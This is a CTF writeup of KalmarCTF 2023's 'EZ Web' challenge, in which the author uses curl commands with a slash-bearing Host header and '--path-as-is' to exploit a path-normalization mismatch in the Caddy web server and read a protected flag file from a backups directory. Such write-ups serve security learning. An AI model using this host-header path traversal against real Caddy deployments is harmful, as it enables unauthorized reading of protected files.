KalmarCTF 2023 - EZ Web - Writeup
I participated in KalmarCTF as part of team Kassipojad :cat2:. One of the best CTFs I’ve ever played!!
Here’s a writeup of the EZ Web task, or rather a dump of the notes I took:
What do we know?
- URL https://www.caddy.chal-kalmarc.tf/flag.txt returns 403
 - https://php.caddy.chal-kalmarc.tf/flag.txt
 - https://php.caddy.chal-kalmarc.tf/index.php
 - https://static.caddy.chal-kalmarc.tf/logo_round.svg
 - Source is included
 - compose file includes some backup step
 - Backups folder includes the host
cp -r *.caddy.chal-kalmarc.tf backups/ && rm php.caddy.chal-kalmarc.tf/flag.txt && sleep 1 && caddy run
 - Can use slashes in host
 - Caddy v1 has an admin API on a separate port
 - Caddy matchers (
respond /flag.txt) don’t runpath.Clean() - Caddy staticfile server (
root /srv/$host/) performspath.Clean() 
What to do:
- Make caddy read a file from 
/srv/backups/php.caddy.chal-kalmarc.tf/flag.txt - Root 
/srv/{host}looks promising…- Does it trust the Host header?
- Yes it does
 
 - Does it accept slashes?
- Yes it does
 
 
 - Does it trust the Host header?
 
Started trying…
 4972  curl -H 'Host: php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf/index.php
 4973  curl -k -v -H 'Host: php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf/index.php
 4974  curl -k -v -H 'Host: ../flag.txt.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf/
 4975  curl -k -v -H 'Host: index.html.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf/
 4976  curl -k -v -H 'Host: wow.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf/
 4977  curl -k -v -H 'Host: stderr.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf/
 4978  curl -k -v -H 'Host: wow' https://php.caddy.chal-kalmarc.tf/
 4979  curl -k -v -H 'Host: flag.txt' https://php.caddy.chal-kalmarc.tf/
 4980  curl -k -v  https://backups.php.caddy.chal-kalmarc.tf/flag.txt
 4981  curl -k -v  http://backups.php.caddy.chal-kalmarc.tf/flag.txt
 4982  curl -k -v  http://backups.php.caddy.chal-kalmarc.tf:443/flag.txt
 4983  curl -k -v  http://backups.php.caddy.chal-kalmarc.tf:443/index.php
 4984  curl -k -v  https://backups.php.caddy.chal-kalmarc.tf:443/index.php
 4985  curl -v  https://php.caddy.chal-kalmarc.tf:443/index.php
 4986  curl -vk  https://php.caddy.chal-kalmarc.tf:443/index.php
This is not working.
So let’s keep trying the backup idea:
 4987  curl -vk -H 'Host: backups.php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf:443/index.php
 4988  curl -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf:443/index.php
 4989  curl -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf:443/flag.txt
 4990  curl -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf:443/index.php
 4991  curl -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf:443/./index.php
 4992  curl -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf:443/'./index.php'
 4993  curl -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf:443/../index.php
 4994  curl -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf/flag.txt' https://php.caddy.chal-kalmarc.tf:443/
 4995  curl -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf/flag.txt' https://php.caddy.chal-kalmarc.tf:443/index.php
 4996  curl -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf:443/f\*
 4997  curl -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf:443/flag.txt
Heureka
Wait, curl, don’t normalize the path!
After a lot of trying:
❯ curl --path-as-is -vk -H 'Host: backups/php.caddy.chal-kalmarc.tf' https://php.caddy.chal-kalmarc.tf:443/./flag.txt
So yes, the “respond” matcher was not normalizing paths the same way the file server was.
kalmar{th1s-w4s-2x0d4ys-wh3n-C4ddy==2.4}
Learnings
- Even caddy has unique behaviors
 - Don’t get stuck on the admin endpoint